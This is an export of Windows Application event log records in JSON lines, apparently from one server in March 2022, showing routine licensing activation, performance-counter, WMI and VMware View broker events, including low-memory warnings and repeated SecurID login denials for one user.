{"@timestamp":1647443707581,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/09/12:15:15:07;LastConsumptionReason=0x4004f040;LastNotificationId=Cleanup;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=379cccfb-d4e0-48fe-b0f2-0136097be147;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168387}}
{"@timestamp":1647443707607,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=379cccfb-d4e0-48fe-b0f2-0136097be147;Action=CleanupState;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168388}}
{"@timestamp":1647443737650,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-23T15:14:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168389}}
{"@timestamp":1647445630391,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"Perflib"},"binaryData":"0200000000000000","binaryDataSize":8,"param1":"BITS","param2":"C:\\Windows\\System32\\bitsperf.dll"}}},"module":"Application","provider":"Microsoft-Windows-Perflib","sequence":168390}}
{"@timestamp":1647461880046,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168391}}
{"@timestamp":1647484465763,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Mar 17 03:34:25 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168392}}
{"@timestamp":1647520880971,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_USER_AUTHFAILED_SECUREID_ACCESS_DENIED\nSecurID access denied for user horvatht\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=AUDIT_FAIL\n\tTime=Thu Mar 17 13:41:20 CET 2022\n\tModule=Broker\n\tUserDisplayName=horvatht\n\tSource=net.propero.portal.filters.SecurIDAuthFilter3\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168393}}
{"@timestamp":1647525793186,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168394}}
{"@timestamp":1647527669704,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Mar 17 15:34:29 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168395}}
{"@timestamp":1647532260044,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"Perflib"},"binaryData":"0200000000000000","binaryDataSize":8,"param1":"BITS","param2":"C:\\Windows\\System32\\bitsperf.dll"}}},"module":"Application","provider":"Microsoft-Windows-Perflib","sequence":168396}}
{"@timestamp":1647533799271,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_USER_AUTHFAILED_SECUREID_ACCESS_DENIED\nSecurID access denied for user horvatht\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=AUDIT_FAIL\n\tTime=Thu Mar 17 17:16:39 CET 2022\n\tModule=Broker\n\tUserDisplayName=horvatht\n\tSource=net.propero.portal.filters.SecurIDAuthFilter3\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168397}}
{"@timestamp":1647570874420,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Mar 18 03:34:34 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168398}}
{"@timestamp":1647586706470,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168399}}
{"@timestamp":1647614078428,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Mar 18 15:34:38 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168400}}
{"@timestamp":1647618887600,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"Perflib"},"binaryData":"0200000000000000","binaryDataSize":8,"param1":"BITS","param2":"C:\\Windows\\System32\\bitsperf.dll"}}},"module":"Application","provider":"Microsoft-Windows-Perflib","sequence":168401}}
{"@timestamp":1647649659403,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168402}}
{"@timestamp":1647657282366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Mar 19 03:34:42 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168403}}
{"@timestamp":1647700486437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Mar 19 15:34:46 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168404}}
{"@timestamp":1647705514427,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"Perflib"},"binaryData":"0200000000000000","binaryDataSize":8,"param1":"BITS","param2":"C:\\Windows\\System32\\bitsperf.dll"}}},"module":"Application","provider":"Microsoft-Windows-Perflib","sequence":168405}}
{"@timestamp":1647712792046,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168406}}
{"@timestamp":1647740105766,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Mar 20 02:35:05 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168407}}
{"@timestamp":1647773404733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168408}}
{"@timestamp":1647782984633,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_USER_AUTHFAILED_SECUREID_ACCESS_DENIED\nSecurID access denied for user horvatht\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=AUDIT_FAIL\n\tTime=Sun Mar 20 14:29:44 CET 2022\n\tModule=Broker\n\tUserDisplayName=horvatht\n\tSource=net.propero.portal.filters.SecurIDAuthFilter3\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168409}}
{"@timestamp":1647783309753,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Mar 20 14:35:09 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168410}}
{"@timestamp":1647792152108,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"Perflib"},"binaryData":"0200000000000000","binaryDataSize":8,"param1":"BITS","param2":"C:\\Windows\\System32\\bitsperf.dll"}}},"module":"Application","provider":"Microsoft-Windows-Perflib","sequence":168411}}
{"@timestamp":1647826513703,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Mar 21 02:35:13 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168412}}
{"@timestamp":1647832517552,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168413}}
{"@timestamp":1647839286713,"ecs":{"version":"8.4"},"event":{"activity":null,"code":5612,"custom_data":{"UserData":{"data_0x8000003F":{"#attributes":{"xmlns":"http://manifests.microsoft.com/win/2006/windows/WMI"},"ProcessID":"3732","ProvidersInHost":"C:\\Windows\\System32\\wbem\\WmiPerfClass.dll, %systemroot%\\system32\\wbem\\wmiprov.dll","QuotaName":"HandleCount","QuotaThreshold":"4096","QuotaValue":"4101"}}},"module":"Application","provider":"Microsoft-Windows-WMI","sequence":168414}}
{"@timestamp":1647839286725,"ecs":{"version":"8.4"},"event":{"activity":null,"code":10,"custom_data":{"UserData":{"data_0x8000003F":{"#attributes":{"xmlns":"http://manifests.microsoft.com/win/2006/windows/WMI"},"Error":"0x80041002","Namespace":"//./root/CIMV2","Query":"SELECT * FROM __InstanceModificationEvent WITHIN 300 WHERE\r\nTargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"}}},"module":"Application","provider":"Microsoft-Windows-WMI","sequence":168415}}
{"@timestamp":1647869717746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Mar 21 14:35:17 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168416}}
{"@timestamp":1647893490004,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168417}}
{"@timestamp":1647912921668,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Mar 22 02:35:21 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168418}}
{"@timestamp":1647955722744,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168419}}
{"@timestamp":1647956125649,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Mar 22 14:35:25 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168420}}
{"@timestamp":1647999329550,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Mar 23 02:35:29 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168421}}
{"@timestamp":1648016095222,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168422}}
{"@timestamp":1648042533577,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Mar 23 14:35:33 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168423}}
{"@timestamp":1648048561834,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/09/12:15:16:01;LastConsumptionReason=0x4004f040;LastNotificationId=VolumeRenewalRequired;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=502ff3ba-669a-4674-bbb1-601f34a3b968;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168424}}
{"@timestamp":1648048562859,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12288,"custom_data":{"EventData":{"Binary":"00000600C48AE65C4E3FDB5D3D7997FCB7E0C59459C26C6AF973FB7390CE917F6982CBF61CB90BA418650619C9AF71202C8398C3C2FC07A5BF00956BDCC95C5A7509B6CECE4D9084C4B60840A7AF19262F8F202F305728D5E0EAB0E0AE2EABA9E108FC61B6A0A99F887FEBC22C1B1A30E16E1EDD2DC3852268840E87A7AD9D9B7E3BF632AD225DDA6B876D96841B24EAD8DA6AA963B7A59277EC57C272A95DBAE3940B5E27DD0232F85B938E0AED5E13A02FE1ADE9C6E9AB782E277EE7C0464647A4AACC34A506880BFB26FD2EC2F2C55ACE0AAF6FDEFA1FF61DEAABE563D81BB2C4AD6DD00E46E1173859C19FC1BCA3317532DB44710F8EC5DA21E2A19A4B459A93A89E","Data":{"#text":["0x00000000, 0x00000000, eng-infrasrv101.engineering-ac.de:1688, 66fdcf75-989c-462d-9cda-ff5474d65922, 2022/03/23 15:16, 0, 1, 249120, 21c56779-b449-4d20-adfc-eece0e1ad74b, 5"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168425}}
{"@timestamp":1648048562984,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12289,"custom_data":{"EventData":{"Binary":"0000060053B103741E88E19DEED9CAAEE7F2DDF957509A80D559E1E979FAA10DD125046DBEEA4F1D8D88D9ADBE75529C84E72C8890827027F18FA9EFD9DE52228F43882E445C00AFF4E8B3187E4F99374718A99F0E8BF6433A21072261619522BAD062373875EFDEFF56343F399263B1CF4871EE9D65DC6E11C107394A275754D10E1CD0E06E98C7DCEFE3C40EA1B91BB821251D5163451B9203415FB44D33AD43CC0A9F1978C67F91636FB09236309BD450045A644E89769A9D9A236C73284D528EC183CF7ED90A0036456C70AA4632B3823F13A3978F9D477BA72A2E74E51AC275A12743834E476E80A01740D0EA432DA1E0138EDB374720F924E36494343D22CE8BF7","Data":{"#text":["0x00000000, 0x00000000, 1, 0, 50, 120, 10080, 2022/03/23 15:16"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168426}}
{"@timestamp":1648048563116,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["ACLUIFileFolderTool-IsSecurityUIEnabled","100"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168427}}
{"@timestamp":1648048563122,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-IgnoreDeferredActivation","500"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168428}}
{"@timestamp":1648048563124,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1033,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["(Security-SPP-Reserved-EnableNotificationMode) ","55c92734-d682-4d71-983e-d6ec3f16059f","21c56779-b449-4d20-adfc-eece0e1ad74b"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168429}}
{"@timestamp":1648048563180,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168430}}
{"@timestamp":1648048563275,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168431}}
{"@timestamp":1648048563300,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=502ff3ba-669a-4674-bbb1-601f34a3b968;Action=AutoActivateSilent;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;NotificationInterval=1440;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168432}}
{"@timestamp":1648048563549,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/09/19:15:16:03;LastConsumptionReason=0x4004f040;LastNotificationId=Cleanup;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=379cccfb-d4e0-48fe-b0f2-0136097be147;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168433}}
